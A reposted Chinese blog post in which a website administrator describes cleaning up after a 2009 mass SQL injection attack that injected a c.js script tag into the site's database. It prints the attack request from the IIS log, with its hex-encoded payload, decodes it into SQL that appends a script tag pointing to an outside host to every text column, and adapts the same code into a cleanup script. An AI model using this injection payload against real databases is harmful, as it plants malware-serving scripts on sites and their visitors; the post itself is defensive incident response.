com/c.js木马攻击...(转)

时间:2022-03-16 18:33:13

   习惯性地敲打键盘,服务器检查,程序检查一切显得如此和谐,剩下的只有数据验证了,几千条行业数据多少也让我有些头痛,没办法谁叫我不是BOSS呢com/c.js木马攻击...(转)

  忙活了大半天,弄得晕头转向,忽然BOSS来电,跑过去一看,我的乖乖。。真是屋漏又遭连夜雨啊!

com/c.js木马攻击...(转)

    从firefox提示的报告来看被google列入黑名单来看可能肯定是我回家这段时间被人注水了,程序没问题那数据呢,打开一看又是一身冷汗。。c.js你好毒啊!

com/c.js木马攻击...(转)

Google一下,没想到居然还没这多难兄难弟,my god谁来抚平我受伤的心。。

com/c.js木马攻击...(转)

   没折了,程序也是N个人改过来改过去的N手货,鬼知道是哪个地方出问题了,只有硬着头皮啃IIS日志了,很意外的发现了一处代码:

2009-01-16 15:39:57 W3SVC1570028688 202.96.137.63 GET /hdjr.asp y=2008&m=10&d=21&word=%e5%ab%81%e5%a8%b6%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.179.110.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64

 很显然state=200意味着什么,SQL里执行一下,看一下原形,

com/c.js木马攻击...(转)DECLARE @T VARCHAR ( 255 ), @C VARCHAR ( 255 )
com/c.js木马攻击...(转)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id = b.id AND a.xtype = ' u ' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167 )
com/c.js木马攻击...(转)
OPEN Table_Cursor
com/c.js木马攻击...(转)
FETCH NEXT FROM Table_Cursor INTO @T , @C
com/c.js木马攻击...(转)
WHILE ( @@FETCH_STATUS = 0 )
com/c.js木马攻击...(转)
BEGIN
com/c.js木马攻击...(转)
EXEC ( ' UPDATE [ ' + @T + ' ] SET [ ' + @C + ' ]=RTRIM(CONVERT(VARCHAR(4000),[ ' + @C + ' ]))+ '' <script src=http://cn.daxia123.cn/cn.js></script> ''' )
com/c.js木马攻击...(转)
FETCH NEXT FROM Table_Cursor INTO @T , @C
com/c.js木马攻击...(转)
END
com/c.js木马攻击...(转)
CLOSE Table_Cursor
com/c.js木马攻击...(转)
DEALLOCATE Table_Cursor

 

看来不是我要找的3b%6Fmb.com/c.js,估计c.js跟这个也差不多,虽然不是我想要的,倒是可以帮上我不少忙,借用一下注入代码,批量替换一下被改写过的内容,如下:


  declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)
set @inScript= '<script src=http://3b%6Fmb.com/c.js></script>'
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype= 'u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec( 'update ['+@t+ '] set  ['+@c+ ']=replace(cast(['+@c+ '] as varchar(8000)),' ''+@inScript+ '' ',' '' ')'  )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;

 

对于被改写过的内容可以用此方法替换,要想堵住源头只有在程序上做功课了,在没有找出程序漏洞前只能退而求其次,SO,程序是关键

 

转自:http://www.jnzblog.cn/post/2009/02/07/I-was-a-bit-hit-*-waist-Hutchison-IE-exploits-cjs-*-attacks-.aspx